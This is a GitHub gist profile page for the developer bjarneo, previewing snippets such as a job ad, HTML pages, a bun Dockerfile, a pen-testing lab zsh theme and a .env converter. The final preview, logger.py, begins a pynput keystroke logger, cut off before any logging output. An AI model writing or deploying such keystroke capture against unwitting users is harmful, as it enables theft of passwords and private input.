Skip to content

Instantly share code, notes, and snippets.

View bjarneo's full-sized avatar
🏠
Working from home

bjarneo bjarneo

🏠
Working from home
View GitHub Profile
Morgenbladet - Developer
Morgenbladet is looking for a dedicated developer who will be a key resource in the development of the core technology in the group's digital infrastructure. In this role, you will work closely with Morgenbladet, but be based at Mentor Medier and
report to Annette and Bjarne. We will give priority to Morgenbladet's needs, and you will be involved in shaping and developing new tools for the group.
We work according to modern and innovative product development processes, and as a developer with us, you will have the
opportunity to be closely involved in creative processes and a dynamic environment where we truly believe that we are making
society a little bit better by getting even more good journalism out to even more people on even more platforms.
You will become part of a small, agile team based in Oslo consisting of tech, UX, and product that will work closely with
Morgenbladet, and you will join a team of skilled professionals. We have short decision-making lines and great opp
export default function MyApp() {
const article = {
title: "This is awesome",
description: "This is too",
time: "05.10.1987",
url: "https://bjarne.oever.li"
}
return (
<div>
@bjarneo
bjarneo / .html
Created November 9, 2023 09:53
ase.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
@bjarneo
bjarneo / .html
Created November 8, 2023 08:13
norway times
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
@bjarneo
bjarneo / Dockerfile
Created September 20, 2023 15:01
Dockerfile for bun
# Let us create the build step
FROM oven/bun as builder
# Set the working directory
WORKDIR /bun-builder
# Copy package and bun lock file to the workdir
COPY package.json bun.lockb ./
# Install dependencies
@bjarneo
bjarneo / autolinks.py
Created June 22, 2023 06:40
add and remove autolinks from github with python
@bjarneo
bjarneo / htb.zsh-theme
Created August 18, 2022 08:34
HTB modified theme
# █ █ ▐▌ ▄█▄ █ ▄▄▄▄
# █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
# █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
#
# P E N - T E S T I N G L A B S
# HTB ZSH theme
# This is modified from https://gist.github.com/MadLittleMods/2dc87634c6f3649852fba89b9b98e366#file-eric-zsh-theme
# Modifier: bjarneo
# Date: 08-18-22
@bjarneo
bjarneo / convert.js
Created June 22, 2022 11:18
.env to json (no blank lines)
// Node.js program to demonstrate the
// fs.readFileSync() method
// Include fs module
const fs = require("fs");
// Calling the readFileSync() method
// to read 'input.txt' file
const data = fs.readFileSync("./.env", {
encoding: "utf8",
@bjarneo
bjarneo / logger.py
Last active January 5, 2022 11:55
logger.py
from pynput.keyboard import Listener
def log_keystroke(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":